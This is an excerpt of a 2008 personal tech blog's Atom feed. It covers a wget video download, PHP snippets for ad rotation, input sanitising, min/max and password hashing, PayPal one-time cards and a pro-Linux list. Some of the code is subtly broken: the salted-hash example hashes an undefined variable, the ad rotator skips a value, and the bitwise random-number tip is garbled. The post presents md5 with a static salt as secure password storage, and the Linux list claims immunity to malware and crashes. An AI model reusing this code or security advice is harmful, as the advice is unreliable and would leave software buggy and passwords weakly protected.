&lt;p&gt;&lt;code&gt;wget -O rickroll.flv &#39;http://www.youtube.com/get_video?video_id=eBGIQ7ZuuiU&amp;amp;l=210&amp;amp;sk=QHSGy-6-eiJ6h5qtrj1kR2OJanvL6tLlC&amp;amp;fmt_map=&amp;amp;t=OEgsToPDskIjlCX_1shTRBRDv2UQzVb-&amp;amp;hl=en&amp;amp;plid=AAROOIUyvpMFnjvzAAAAoARsYAg&amp;amp;tk=6J3d54cPnMJP7mUN2BtMkd2OmbgxTvB_GPcrV3ckGUbzd7KVMiH1kA%3D%3D&amp;amp;title=Rick Roll&#39;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You can change the file name &lt;strong&gt;rickroll.flv&lt;/strong&gt; to &lt;strong&gt;anythingYouWant.flv&lt;/strong&gt;.  Wget will save the .flv (flash video) in the current directory.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Weekend Link Roundup: Week 9</title>
		<link href="https://www.marksanborn.net/links/weekend-link-roundup-week-9/index.html" />
		<updated>2008-05-24T00:00:00Z</updated>
		<id>https://www.marksanborn.net/links/weekend-link-roundup-week-9/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://developer.yahoo.com/ypatterns/&#34;&gt;Design Pattern Library&lt;/a&gt; - Yahoo has made a collection of web design patterns that they see.  This is very interesting.  Check it out.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://neworder.box.sk/&#34;&gt;New Order&lt;/a&gt; - One of my favorite security resources.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://new.wauseon.k12.oh.us/District/TechHelp/special_alt_characters.htm&#34;&gt;Special ALT Characters&lt;/a&gt; - Here is a list of ascii characters and how you type one.  These are great to add to your passwords to make them more secure.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.emergingtechs.com/posts/35-portable-applications-every-tech-needs&#34;&gt;35 Portable Applications that Every Tech Needs&lt;/a&gt; - The article should read, &amp;ldquo;35 portable applications every windows tech needs&amp;rdquo;, but it is still a handy list of useful apps.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://eatliver.com/i.php?n=2422&#34;&gt;What a 1GB hard drive looked like 20 years ago&lt;/a&gt; - It is amazing how fast technology changes.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.linuxplanet.com/linuxplanet/reviews/6479/3/&#34;&gt;The Top 75 Open Source Security Apps&lt;/a&gt; - Although not in any particular order these open source apps are worth checking out.  You probably know about most of them but you might find something new.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.iptablesrocks.org/&#34;&gt;iptablesrocks.com&lt;/a&gt; - If you are new to the Linux firewall iptables this site will walk you through it from zero to hero.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://reinholdweber.com/?p=3&#34;&gt;43 Ways to Optimize your PHP Code&lt;/a&gt; - A very cool list of PHP optimizations you can start using in your code today.  There are lots of optimizations that I didn&amp;rsquo;t know, apparently echo is faster than print.  I never use print but now I know why.  It turns out that $row[’id’] is 7 times faster than $row[id].&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Rotate Ads with PHP</title>
		<link href="https://www.marksanborn.net/uncategorized/rotate-ads-with-php/index.html" />
		<updated>2008-05-23T00:00:00Z</updated>
		<id>https://www.marksanborn.net/uncategorized/rotate-ads-with-php/index.html</id>
		<content type="html">&lt;p&gt;There comes a point where a site can have too many advertisements or there simply isn&amp;rsquo;t enough space for another ad.  We also don&amp;rsquo;t want to distract our users from the content too much.  This is where ad rotating can come in handy.  With rotating you can have two ads displayed in the same space.&lt;/p&gt;

&lt;p&gt;Split testing is another great reason for rotating ads.  If you remember back to my post about &lt;a href=&#34;/php/adsense-split-testing-results-for-250x250-vs-300x250/&#34;&gt;split testing Adsense ads&lt;/a&gt; I found there was a significant difference between different the 250x250 block and the 300x250 block.  These results came as a shock to me.  Maybe your ads will surprise you you.  The only way you will know is to test them yourself since all sites will have varying results.&lt;/p&gt;

&lt;h3&gt;The code&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php $splitIt = rand()&amp;amp;1; echo &amp;quot;&amp;lt;!-- $splitIt --&amp;gt;&amp;quot;; ?&amp;gt;
&amp;lt;?php if ($splitIt == 0) { ?&amp;gt;
&amp;lt;!-- First ad goes here --&amp;gt;
&amp;lt;?php } ?&amp;gt;

&amp;lt;?php if ($splitIt == 1) { ?&amp;gt;
&amp;lt;!-- Second ad goes here --&amp;gt;
&amp;lt;?php } ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Although it is best to to use only two ads when testing, we can add multiple advertisements for rotation purposes by using this code:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php $splitIt = rand()&amp;amp;3; echo &amp;quot;&amp;lt;!-- $splitIt --&amp;gt;&amp;quot;; ?&amp;gt;
&amp;lt;?php if ($splitIt == 0) { ?&amp;gt;
&amp;lt;!-- First ad goes here --&amp;gt;
&amp;lt;?php } ?&amp;gt;

&amp;lt;?php if ($splitIt == 2) { ?&amp;gt;
&amp;lt;!-- Second ad goes here --&amp;gt;
&amp;lt;?php } ?&amp;gt;

&amp;lt;?php if ($splitIt == 3) { ?&amp;gt;
&amp;lt;!-- Third ad goes here --&amp;gt;
&amp;lt;?php } ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Bonus Tip&lt;/h3&gt;

&lt;p&gt;If you noticed in these examples that I didn&amp;rsquo;t use:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$splitIt = rand(0,1);
$splitIt = rand(0,3);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This is because it is faster to use bitwise operations instead of math calculations; however it only works for ranges that aren&amp;rsquo;t a power of two.  For example you could use the bitwise method for 1, 3, 5, 7 but not 2 or 4.&lt;/p&gt;

&lt;p&gt;To rotate between 4 ads you would need to use:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$splitIt = rand(0,4);
&lt;/code&gt;&lt;/pre&gt;
</content>
	</entry>
	
	<entry>
		<title>One-Time Use Credit Cards</title>
		<link href="https://www.marksanborn.net/security/one-time-use-credit-cards/index.html" />
		<updated>2008-05-22T00:00:00Z</updated>
		<id>https://www.marksanborn.net/security/one-time-use-credit-cards/index.html</id>
		<content type="html">&lt;p&gt;A new era of credit card protection is here!  &lt;a href=&#34;http://www.paypal.com&#34;&gt;Paypal&lt;/a&gt; is offering disposable one-time use credit cards free of charge.  You don&amp;rsquo;t even need to even own a credit card to use them.  A simple Paypal membership will suffice.&lt;/p&gt;

&lt;p&gt;Today I was logging into my Paypal account using my &lt;a href=&#34;/security/i-received-my-paypal-securekey-today/&#34;&gt;Verisign security key&lt;/a&gt;.  The security key makes logging into Paypal so fun that I do it more than I need to.  Yes I know its nerdy and the novelty will probably wear off soon but while in the middle of my nerdy habits I rediscovered the Paypal secure cards.&lt;/p&gt;

&lt;p&gt;I have known about Paypal&amp;rsquo;s ability to generate one-time passwords for about a month now.  Last time I checked the service I was under the impression that you needed to have a Paypal credit card in order to generate these one time use credit cards.  On top of that Paypal made it seem as if you needed to download their Windows only plugin to take advantage of the service.  That was until I logged in recently and noticed they had changed the site layout a bit and the secure cards option is built into the web interface.&lt;/p&gt;

&lt;p&gt;There is no need to have a Paypal credit card or use the Windows only plugin.  This is great news because I don&amp;rsquo;t need yet another credit card and as a Linux user I am annoyed by crappy plugin software that is Windows only.&lt;/p&gt;

&lt;h3&gt;Why this is awesome?&lt;/h3&gt;

&lt;p&gt;It is awesome because it adds another layer of protection against identity theft and un-authorized credit card charges.  I did a quick search and no other company is offering a similar service.  With the combination of using my security key for multi-factor authentication and the one-time use credit cards this is as secure as it gets right now.&lt;/p&gt;

&lt;p&gt;Let me tell you a quick story.  About two years ago I signed up to a free credit report.  My roommate had said how great of a service it was and how you get two of them for free each year.  I thought well, what is there to lose?  Well I can tell you it cost my about $60 by the time it was over.  You see when I signed up they requested a credit card to verify that I was who I said I was.  Normally I would have been a bit skeptical at this point but since the credit reporting companies are owned and operated in joint with the credit card companies I figured it was a legit way of verifying my identity.&lt;/p&gt;

&lt;p&gt;Well a few months later I received a strange bill on my credit card statement.  The line item on the statement didn&amp;rsquo;t have the company&amp;rsquo;s name or anything indicating that it was the credit reporting company.  After further investigation I found out that &lt;strong&gt;they had been charging me $12.95/month&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;I am sure the charges were written in fine print but who reads the fine print?  If I had used Paypal&amp;rsquo;s one time use credit card I would never have had this problem.  I would have made a credit card with a maximum charge of $1 and used that &amp;ldquo;card&amp;rdquo; to sign up for their shady service.  As soon was I was signed up I could then disable the card.&lt;/p&gt;

&lt;h3&gt;How it works&lt;/h3&gt;

&lt;p&gt;To use it, login to &lt;a href=&#34;http://www.paypal.com&#34;&gt;Paypal&lt;/a&gt; and go to &lt;strong&gt;Paypal Plugin&lt;/strong&gt; then &lt;strong&gt;Secure Cards&lt;/strong&gt;.  From there you click &lt;strong&gt;Generate New&lt;/strong&gt;.  You will then have the option to make a single use card or a multi-use.  The single use credit card can only be charged one time.  All other charges after the initial charge will be declined.&lt;/p&gt;

&lt;p&gt;The multi-use cards will accept the first company that charges it.  Every charge after the first must match the company name or the charge will be declined.  This is great for setting up a credit card for repeat charge subscriptions.&lt;/p&gt;

&lt;p&gt;In the beta version they allowed you to specify the credit card&amp;rsquo;s max value.  Unfortunately, it doesn&amp;rsquo;t look like they are supporting this feature anymore.  I really hope they bring it back.&lt;/p&gt;

&lt;h3&gt;No more traditional credit cards&lt;/h3&gt;

&lt;p&gt;For online purchases this is it.  I am done using traditional credit cards for online use.  If you think about it why would you ever give your number to anyone online?  They don&amp;rsquo;t need the physical card or your signature to make the charge.  The CVV2 and address verification is not always done by all companies.  In my opinion Paypal&amp;rsquo;s method is far superior.  Of course, shady companies like the free credit report wont like it too much when the &amp;ldquo;card&amp;rdquo; is canceled moments after signup.  I have no sympathy for a business with a revenue model that preys on people that don&amp;rsquo;t read the fine print.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>50 Reasons Why I Love Linux</title>
		<link href="https://www.marksanborn.net/linux/50-reasons-why-i-love-linux/index.html" />
		<updated>2008-05-21T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/50-reasons-why-i-love-linux/index.html</id>
		<content type="html">&lt;p&gt;I love Linux so much I made a list of 50 reasons why I love it so.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;I can extract something with one command without opening a separate program.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;I can print a document without opening it.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;I can update all applications with two magical words, apt-get upgrade.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Its free&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Its free as in beer.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Its more secure than Windows&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;I can run on pretty much any hardware.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/05/lovelinux.jpg&#34; alt=&#34;I love Linux&#34; /&gt;8. It is highly scalable&amp;hellip; I can install it on a 486 or a dual core.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Help is readily available and free of charge.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Well documented&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;No need for some obscure knowledge base&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;A standard help system that is actually useful (man)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Powerful CLI&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Many of the best programs are available for Linux for free.  ie. Apache, MySQL, ProFTPd, SSH, OpenVPN.  You would have to pay hundreds if not thousands of dollars for Windows programs that accomplish the same thing.  On top of that you will have to pay for support&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;No need to call a tech support center in India to activate your fully legal OS.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Linux can be configured to run without a GUI for max performance.  This is especially useful for servers.  Other operating systems don&amp;rsquo;t have this luxury.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;It doesn&amp;rsquo;t ask me if I am sure I want to delete something&amp;hellip;.twice&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Many of the programs are configured with a simple config file.  This makes editing much easier than navigating through pages and pages of tabs and radio check boxes.  You can even structure your config file with your own comments to make editing easier for you.  Change something often?  Put it near the top.  If you switch something on and off often and it is buried behind 9 gui screens it might take you 10 5 times longer to switch it.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Linux will actually give you a reason why something had an error.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Linux wont tell me that my automatic updates are turned off every single minute of every day.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;When I update Linux it won&amp;rsquo;t turn on a firewall automatically without my permission (Windows XP SP3 does this) and turn on services I had previously set to disabled.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Linux pretty much forces you to be a &amp;ldquo;non-administrative&amp;rdquo; user.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;You can unmount something really fast with one command.  Instead of double clicking on a silly icon navigating through all the USB devices plugged in select the right one only to find out that the device you are trying to unmount cannot be unmounted at this time.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Depending on the distro it is a lot easier to install than Windows.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Linux detects and installs more drivers for my hardware than Windows.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Linux comes with drivers for my onboard Sata where Windows XP does not.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Linux comes out with a new kernel constantly.  Windows comes out with one once every couple years.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;With Linux we can compile our own kernel so we don&amp;rsquo;t have to a wear a one size fits all hat.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;You can choose which type of desktop environment you want.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;You don&amp;rsquo;t have to worry about spyware, viruses, or worms.  Even if they were prevalent they couldn&amp;rsquo;t be installed unless you did it yourself.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;When you &amp;ldquo;end a task&amp;rdquo; in Linux it actually works.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;You can check your CPU&amp;rsquo;s temperature without installing any software.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;The command line auto complete feature works the way you expect it to.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;To list the contents of a directory I only have to use two keys instead of three (ls vs. dir).&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Linux&amp;rsquo;s CLI actually ads value to the OS.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;I can build a computer myself and still get a good price on the retail version of Linux (free).&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;I can control my computer remotely with SSH.  Windows comes with remote desktop which was not encrypted last time i checked.  It also was slow and supports only a few connected users unless you pay Microsoft more money for a terminal server.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Linux tends not to hide details&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;I can see the OS uptime without installing some Microsoft power user program.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Linux comes with a program that will eject my CD-Rom.  This comes in handy when making automated CD backups and other scripts.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Linux passwords cannot be &lt;a href=&#34;/security/crack-windows-xp-and-vista-passwords-in-seconds/&#34;&gt;cracked in seconds like Windows.&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;I can print an entire directory of pdfs with &amp;lsquo;&lt;strong&gt;lpr *.pdf&lt;/strong&gt;&amp;rsquo;.  In Windows you would have to open each with Foxit Reader or the bloated Adobe Acrobat.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;You can have really cool desktop effects that rival even OSX effects.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;You can choose a filesystem that better fits your needs.  With Windows you have two options old out of date crappy NTFS or even more out dated FAT32.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;If you loose your Linux CD or don&amp;rsquo;t feel like downloading one you can get one mailed for free (ubuntu).&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;It supports more than 3/4gb of ram without updates and hacks.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;You can get all applications you need without opening your browser or getting out your wallet and many times they are better than commercial solutions.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;It doesn&amp;rsquo;t crash&amp;hellip; ever&amp;hellip; Its so reliable companies have used it as dedicated router firmware.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;You don&amp;rsquo;t have to pay more money for multiple connected users.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;When there is a security exploit I can expect a patch the next day not the second Tuesday of every month.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
</content>
	</entry>
	
	<entry>
		<title>Using PHP to Accept Only Numbers From User Input</title>
		<link href="https://www.marksanborn.net/php/using-php-to-accept-only-numbers-from-user-input/index.html" />
		<updated>2008-05-20T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/using-php-to-accept-only-numbers-from-user-input/index.html</id>
		<content type="html">&lt;p&gt;Almost all website attacks are caused by developers failing to sanitize user input.  The standard security practice for handling user input is to &amp;ldquo;whitelist&amp;rdquo; it.  Whitelisting converts ANY user input into the expected data type.  For example if the input you are expecting is supposed to be a zipcode you need to create a script that will only except 5 numerical digits (9 if you support the +4 zipcodes).  The more defined you can make your whitelist the more secure your script will be.  If the user&amp;rsquo;s input cannot be converted to the whitelisted data type, in our case 5 numerical digits, then you return an error, &amp;ldquo;invalid zipcode&amp;rdquo;.&lt;/p&gt;

&lt;h3&gt;Why sanitize input&lt;/h3&gt;

&lt;p&gt;If you do not sanitize user input you run in the risk of cross site scripting (XSS) attacks, SQL injection, and other attacks.  We as developers often write code expecting a certain type of user input not realizing that the user may not always give us what we expect.  Since we have no idea what the user might send we can&amp;rsquo;t trust them (sorry).  For best security practices we should always assume the user could be an attacker.&lt;/p&gt;

&lt;p&gt;Another benefit of sanitizing the code is correcting typos.  Maybe someone just typed in &amp;lsquo;&lt;strong&gt;90210p&lt;/strong&gt;&amp;rsquo; as a zipcode on accident or maybe they left a space at the end.  Instead of wasting the user&amp;rsquo;s time redirecting back and spitting out an error message, &amp;ldquo;invalid zipcode&amp;rdquo; you could strip off the &amp;lsquo;&lt;strong&gt;p&lt;/strong&gt;&amp;rsquo; and run the script normally.  Although we can&amp;rsquo;t trust our users we shouldn&amp;rsquo;t make it more difficult for them.&lt;/p&gt;

&lt;h3&gt;The Function&lt;/h3&gt;

&lt;p&gt;Here is a function I created that takes any string, finds all numbers and drops the rest.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
function sanitizeInput($string) { return ereg_replace(&amp;quot;[^0-9]&amp;quot;, &amp;quot;&amp;quot;, $string); }

echo sanitizeInput(&#39;blah123&#39;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The above example would output, &amp;lsquo;&lt;strong&gt;123&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;Even if the user input is not going to be used in an SQL query, you should always sanitize the input!&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Creating a Secure Md5 Hash for Storing Passwords in a Database</title>
		<link href="https://www.marksanborn.net/php/creating-a-secure-md5-hash-for-storing-passwords-in-a-database/index.html" />
		<updated>2008-05-19T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/creating-a-secure-md5-hash-for-storing-passwords-in-a-database/index.html</id>
		<content type="html">&lt;p&gt;Often times we, as developers are required to create authentication systems.  When developing an authentication system it is always best to make it as secure as possible.  One of the problems that arise when creating an authentication system is storing the username and password of our users.  One way to store the username and password would be to simply make a column in a table called usernames and a column called password and store each user&amp;rsquo;s login credentials in plain text.&lt;/p&gt;

&lt;p&gt;Storing login credentials in plain text would certainly be easy to implement; however, it creates more risk to our users.  Anyone with access to the database could possibly view the login passwords of anyone of the users.  Since users often times use the same password for other applications and services, you as a developer or service would have added responsibility and risk since you know their username and password if stored in plain text.  A better solution would be to not even know the user&amp;rsquo;s passwords ourselves.&lt;/p&gt;

&lt;p&gt;But, if we don&amp;rsquo;t know the password how could we possibly authenticate a user?  The standard way of doing this is using what is called the md5 hash.  You can think of an md5 hash as a one-way encryption.  Once an md5 hash is created there is supposed to be no way to reverse it.  What we can do instead is compare the hash we have stored in our database (the user&amp;rsquo;s password) with a hash of what the user typed in.  If the two hashes match, whatever it was the user typed in previously, must have been the same thing he typed in when we stored his password.  Thus we can verify the password without actually knowing what the password is.&lt;/p&gt;

&lt;h3&gt;A Simple Md5 Hash&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$password = &#39;mypassword&#39;;
$hashedPassword = md5($password);
echo $hashedPassword;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The code above will output &amp;lsquo;&lt;strong&gt;34819d7beeabb9260a5c854bc85b3e44&lt;/strong&gt;&amp;rsquo;.  Remember now, there is supposed to be no way that this hash can ever be reversed to find the original meaning, in our case the user&amp;rsquo;s password; however, attackers have created what is called rainbow tables that store known hashes and compares them eventually finding a match.  When storing sensitive information like passwords we can&amp;rsquo;t afford to have someone reversing our hashes.&lt;/p&gt;

&lt;h3&gt;Reversing an Md5 Hash&lt;/h3&gt;

&lt;p&gt;Reversing a simple md5 hash is quite easy.  &lt;a href=&#34;http://md5.rednoize.com/&#34;&gt;This website&lt;/a&gt; will reverse an md5 hash for you.  In my example I typed in, &amp;lsquo;&lt;strong&gt;34819d7beeabb9260a5c854bc85b3e44&lt;/strong&gt;&amp;rsquo; and it showed the original text, &amp;lsquo;&lt;strong&gt;mypassword&lt;/strong&gt;&amp;rsquo;.  As you can see this method of hashing will not be secure enough for storing passwords in a database.  We need something more secure.&lt;/p&gt;

&lt;h3&gt;Making an Md5 Hash More Secure&lt;/h3&gt;

&lt;p&gt;To make the md5 hash more secure we need to add what is called &amp;ldquo;salt&amp;rdquo;.  Salt in this sense of the meaning is random data appended to the password to make the hash more complicated and difficult to reverse engineer.  Without knowing what the salt is, rainbow table attacks are mostly useless.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$password = &#39;mypassword&#39;;
$salt=&#39;i_always_take_a_sentence_or_two_and_add_some_numbers_8342394&#39;;
$saltedHash = md5($pass . $salt);
echo $saltedHash;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now obviously if an attacker figures out what salt you use the entire hash system is flawed.  So keep your salt safe.&lt;/p&gt;

&lt;p&gt;As Jade suggested in his comment below, you can decrease the chance of someone reversing an md5 hash by simply having a more complex password.  See, &lt;a href=&#34;/security/picking-strong-passwords-that-you-can-remember/&#34;&gt;Picking Strong Passwords that you can Remember&lt;/a&gt; for more info on picking a complex password that is easy to remember.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Weekend Link Roundup: Week 8</title>
		<link href="https://www.marksanborn.net/uncategorized/weekend-link-roundup-week-8/index.html" />
		<updated>2008-05-17T00:00:00Z</updated>
		<id>https://www.marksanborn.net/uncategorized/weekend-link-roundup-week-8/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://www.downloadsquad.com/2008/05/12/stupid-ubuntu-tricks-5-steps-for-resetting-a-forgotten-password/&#34;&gt;Stupid Ubuntu tricks: 5 Steps for resetting a forgotten password&lt;/a&gt; - I prefer to use a live cd and &lt;a href=&#34;/linux/recovering-from-a-lost-linux-root-password/&#34;&gt;use this method&lt;/a&gt; but I had a friend that forget his Ubuntu username password the other day and he didn&amp;rsquo;t have a live CD.  This article came in handy.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.eicar.org/anti_virus_test_file.htm&#34;&gt;The Anti-Virus Test File&lt;/a&gt; - I have known about this for awhile but is worthing checking out if you haven&amp;rsquo;t tried it.  It&amp;rsquo;s basically a file that most/all anti-virus programs should pick up.  It&amp;rsquo;s good for testing and seeing if you can get files past your anti-virus program.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://md5.rednoize.com/&#34;&gt;Reverse a MD5 Hash&lt;/a&gt; - I guess this is proof that hashes are not secure by themselves.  You need to use &amp;ldquo;salt&amp;rdquo; in your hashes.  Salt is a random set of data that only you and the hash interpreter knows.  Of course it depends on what you are using md5 for.  Many times it doesn&amp;rsquo;t matter if someone reverses it.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.nsa.gov/selinux/&#34;&gt;Security-Enhanced Linux&lt;/a&gt; - If you are into Linux and security you will eventually find yourself trying out SELinux.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://sectools.org/&#34;&gt;Top 100 Network Security Tools&lt;/a&gt; - A top 100 list of the best security tools available.  This is also the home of nmap and my favorite security mailing list, Bugtraq.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www-128.ibm.com/developerworks/library/os-php-flash/index.html?ca=drs-&#34;&gt;Generate Flash movies on the fly with PHP&lt;/a&gt; - Although I am not sure if I would use this, it is very cool.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://developer.yahoo.com/security/&#34;&gt;Security Best Practices&lt;/a&gt; - Yahoo&amp;rsquo;s security best practices.  This is a huge resource full of great information from website security to security on a FreeBSD machine.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://code.google.com/p/blueprintcss/&#34;&gt;Blueprint CSS Framework&lt;/a&gt; - Develop CSS sheets and layouts for sites fast.  Already optimized and easy to use.  Here is a &lt;a href=&#34;http://files.bjorkoy.com/blueprint/tests/parts/sample.html&#34;&gt;sample page&lt;/a&gt;.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Finding the Lowest or Highest Number with PHP</title>
		<link href="https://www.marksanborn.net/php/finding-the-lowest-or-highest-number-with-php/index.html" />
		<updated>2008-05-16T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/finding-the-lowest-or-highest-number-with-php/index.html</id>
		<content type="html">&lt;p&gt;Recently I was writing a script and ran into a problem.  I needed to compare a set of numbers and find the lowest one.  Now, at first I thought that I could compare each one with if statements but I knew there had to be a better way (there always is).  If you have 1000 numbers you would never be able to write all that code to work efficiently.&lt;/p&gt;

&lt;p&gt;Fortunately PHP provides the two functions that I needed.  One function for finding the lowest number in a dataset and one function to find the highest.&lt;/p&gt;

&lt;h3&gt;Finding the Lowest Number&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;echo min(2, 3, 1, 6, 7);  //  PHP would print &#39;1&#39;.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;You can  also determine the lowest number in an array:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;echo min($someArray);
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Finding the Highest Number&lt;/h3&gt;

&lt;p&gt;As you may have guessed we will use the opposite of min, Max.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;echo max(2, 3, 1, 6, 7);  //  PHP would print &#39;7&#39;.
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;A Practical Example&lt;/h3&gt;

&lt;p&gt;I mentioned that I need to find the lowest number in a data set in one of my scripts.  The script was a &lt;a href=&#34;/wp-content/uploads/2008/05/rateCompare.php&#34;&gt;rate comparison tool&lt;/a&gt; that utilized two functions that I created for querying rates from both UPS and The US Postal Service.  I wanted to simply highlight the lowest rate.  I utilized PHP&amp;rsquo;s &lt;strong&gt;min&lt;/strong&gt; function as I briefly described above.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
lowestRate = min($UPSGroundRate,$USPSPriorityRate,$USPSParcelRate,$USPSFlatRate);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content>
	</entry>
	
	<entry>
		<title>I Received my PayPal SecureKey Today</title>
		<link href="https://www.marksanborn.net/security/i-received-my-paypal-securekey-today/index.html" />
		<updated>2008-05-15T00:00:00Z</updated>
		<id>https://www.marksanborn.net/security/i-received-my-paypal-securekey-today/index.html</id>
		<content type="html">&lt;p&gt;Well, today I received my Paypal SecurityKey.  I have been really excited to try this device and I have been anxiously waiting for its arrival.  Today I finally received it and overall I really like it and I am glad I got it.  The key came a little faster than they said it would, but I was so excited to try it out that it seemed like a life time.  When it finally came I was ready to try it.&lt;/p&gt;

&lt;h3&gt;What I like about it&lt;/h3&gt;

